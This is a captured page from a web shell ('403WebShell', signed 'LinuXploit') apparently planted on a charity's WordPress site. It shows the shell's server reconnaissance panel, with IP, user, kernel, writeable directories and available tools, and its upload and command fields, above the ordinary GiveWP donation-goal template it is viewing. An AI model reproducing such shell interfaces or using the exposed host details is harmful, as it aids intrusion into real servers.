Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.12.71.166
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/templates//shortcode-goal.php
<?php

use Give\Log\Log;
use Give\DonationForms\DonationQuery;

/**
 * This template is used to display the goal with [give_goal]
 */

/**
 * @var int $form_id form id passed from the give_show_goal_progress() context
 * @var $args array shortcode args
 */

if ( empty($form_id) ) {
    Log::error('Failed to render [give_goal] shortcode.',
        ['form_id' => $form_id,
         'file'    => '__templates/shortcode-goal.php__',
         'line'    => '10'
        ]);
    return false;
}

$form = new Give_Donate_Form( $form_id );

$goal_option = give_get_meta( $form->ID, '_give_goal_option', true );
// Sanity check - ensure form has pass all condition to show goal.
if ( ( isset( $args['show_goal'] ) && ! filter_var( $args['show_goal'], FILTER_VALIDATE_BOOLEAN ) )
     || empty( $form->ID )
     || ( is_singular( 'give_forms' ) && ! give_is_setting_enabled( $goal_option ) )
     || ! give_is_setting_enabled( $goal_option ) || 0 === $form->goal ) {
    return false;
}

$goal_progress_stats = give_goal_progress_stats( $form );
$goal_format         = $goal_progress_stats['format'];
$color               = empty($args['color']) ? give_get_meta( $form_id, '_give_goal_color', true ) : sanitize_hex_color( $args['color'] );
$show_text           = isset( $args['show_text'] ) ? filter_var( $args['show_text'], FILTER_VALIDATE_BOOLEAN ) : true;
$show_bar            = isset( $args['show_bar'] ) ? filter_var( $args['show_bar'], FILTER_VALIDATE_BOOLEAN ) : true;

/**
 * @since 3.12.0 use DonationQuery to get donation amounts
 */
$form_income = 0;
$donationQuery = (new DonationQuery())->form($form->ID);

if ($args['start_date'] === $args['end_date']) {
    $form_income = $donationQuery->sumIntendedAmount();
} else {
    // If end date is not set, we have to use the current datetime.
    if ( ! $args['end_date']) {
        $args['end_date'] = date('Y-m-d H:i:s');
    }

    $form_income = $donationQuery->between($args['start_date'], $args['end_date'])->sumIntendedAmount();
}

/**
 * Allow filtering the goal stats used for this shortcode context.
 *
 * @since 2.23.1
 *
 * @param  array  $stats  The income and goal values for this form goal.
 * @param  int    $form_id  Donation Form ID.
 * @param  array  $goal_progress_stats  The full goal progress stats.
 * @param  array  $args  The full list of shortcode arguments passed.
 */
$shortcode_stats = apply_filters(
    'give_goal_shortcode_stats',
    array(
        'income' => $form_income,
        'goal'   => $goal_progress_stats['raw_goal'],
    ),
    $form_id,
    $goal_progress_stats,
    $args
);
$income = $shortcode_stats['income'];
$goal   = $shortcode_stats['goal'];

switch ( $goal_format ) {

    case 'donation':
        $progress           = $goal ? round( ( $form->get_sales() / $goal ) * 100, 2 ) : 0;
        $progress_bar_value = $form->get_sales() >= $goal ? 100 : $progress;
        break;

    case 'donors':
        $progress           = $goal ? round( ( give_get_form_donor_count( $form->ID ) / $goal ) * 100, 2 ) : 0;
        $progress_bar_value = give_get_form_donor_count( $form->ID ) >= $goal ? 100 : $progress;
        break;

    case 'percentage':
        $progress           = $goal ? round( ( $income / $goal ) * 100, 2 ) : 0;
        $progress_bar_value = $income >= $goal ? 100 : $progress;
        break;

    default:
        $progress           = $goal ? round( ( $income / $goal ) * 100, 2 ) : 0;
        $progress_bar_value = $income >= $goal ? 100 : $progress;
        break;

}

/**
 * Filter the goal progress output
 *
 * @since 1.8.8
 */
$progress = apply_filters( 'give_goal_amount_funded_percentage_output', $progress, $form_id, $form );
?>
<div class="give-goal-progress">
    <?php if ( ! empty( $show_text ) ) : ?>
        <div class="raised">
            <?php
            if ( 'amount' === $goal_format ) :
                /**
                 * Filter the give currency.
                 *
                 * @since 1.8.17
                 */
                $form_currency = apply_filters( 'give_goal_form_currency', give_get_currency( $form_id ), $form_id );
                /**
                 * Filter the income formatting arguments.
                 *
                 * @since 1.8.17
                 */
                $income_format_args = apply_filters(
                    'give_goal_income_format_args',
                    array(
                        'sanitize' => false,
                        'currency' => $form_currency,
                        'decimal'  => false,
                    ),
                    $form_id
                );
                /**
                 * Filter the goal formatting arguments.
                 *
                 * @since 1.8.17
                 */
                $goal_format_args = apply_filters(
                    'give_goal_amount_format_args',
                    array(
                        'sanitize' => false,
                        'currency' => $form_currency,
                        'decimal'  => false,
                    ),
                    $form_id
                );
                /**
                 * This filter will be used to convert the goal amounts to different currencies.
                 *
                 * @since 2.5.4
                 *
                 * @param array $amounts List of goal amounts.
                 * @param int   $form_id Donation Form ID.
                 */
                $goal_amounts = apply_filters(
                    'give_goal_amounts',
                    array(
                        $form_currency => $goal,
                    ),
                    $form_id
                );
                /**
                 * This filter will be used to convert the income amounts to different currencies.
                 *
                 * @since 2.5.4
                 *
                 * @param array $amounts List of goal amounts.
                 * @param int   $form_id Donation Form ID.
                 */
                $income_amounts = apply_filters(
                    'give_goal_raised_amounts',
                    array(
                        $form_currency => $income,
                    ),
                    $form_id
                );
                // Get human readable donation amount.
                $income = give_human_format_large_amount( give_format_amount( $income, $income_format_args ), array( 'currency' => $form_currency ) );
                $goal   = give_human_format_large_amount( give_format_amount( $goal, $goal_format_args ), array( 'currency' => $form_currency ) );
                // Format the human readable donation amount.
                $formatted_income = give_currency_filter(
                    $income,
                    array(
                        'form_id' => $form_id,
                    )
                );
                $formatted_goal = give_currency_filter(
                    $goal,
                    array(
                        'form_id' => $form_id,
                    )
                );

                echo sprintf(
                /* translators: 1: amount of income raised 2: goal target amount. */
                    __( '<span class="income" data-amounts="%1$s">%2$s</span> of <span class="goal-text" data-amounts="%3$s">%4$s</span> raised', 'give' ),
                    esc_attr( wp_json_encode( $income_amounts, JSON_PRETTY_PRINT ) ),
                    esc_attr( $formatted_income ),
                    esc_attr( wp_json_encode( $goal_amounts, JSON_PRETTY_PRINT ) ),

                    esc_attr( $formatted_goal )
                );
            elseif ( 'percentage' === $goal_format ) :

                echo sprintf( /* translators: %s: percentage of the amount raised compared to the goal target */
                    __( '<span class="give-percentage">%s%%</span> funded', 'give' ),
                    round( $progress )
                );

            elseif ( 'donation' === $goal_format ) :

                echo sprintf( /* translators: 1: total number of donations completed 2: total number of donations set as goal */
                    _n(
                        '<span class="income">%1$s</span> of <span class="goal-text">%2$s</span> donation',
                        '<span class="income">%1$s</span> of <span class="goal-text">%2$s</span> donations',
                        $goal,
                        'give'
                    ),

                    give_format_amount( $form->get_sales(), array( 'decimal' => false )),
                    give_format_amount( $goal, array( 'decimal' => false ))
                );

            elseif ( 'donors' === $goal_format ) :

                echo sprintf( /* translators: 1: total number of donors completed 2: total number of donors set as goal */
                    _n(
                        '<span class="income">%1$s</span> of <span class="goal-text">%2$s</span> donor',
                        '<span class="income">%1$s</span> of <span class="goal-text">%2$s</span> donors',
                        $goal,
                        'give'
                    ),

                    give_format_amount(  give_get_form_donor_count( $form->ID ), array( 'decimal' => false ) ),
                    give_format_amount( $goal, array( 'decimal' => false ) )
                );

            endif;
            ?>
        </div>
    <?php endif; ?>

    <?php if ( ! empty( $show_bar ) ) :
        $style = "width:{$progress_bar_value}%";

        if ( ! empty($color)) {
            $style .= ";background: linear-gradient(180deg, {$color} 0%, {$color} 100%), linear-gradient(180deg, #fff 0%, #ccc 100%); background-blend-mode: multiply;";
        }
        ?>
        <div class="progress-bar">
            <div class="give-progress-bar" role="progressbar" aria-valuemin="0" aria-valuemax="100" aria-valuenow="<?php echo esc_attr( $progress_bar_value ); ?>">
                <span style="<?php echo $style; ?>"></span>
            </div>
        </div>
    <?php endif; ?>

</div><!-- /.goal-progress -->


Youez - 2016 - github.com/yon3zu
LinuXploit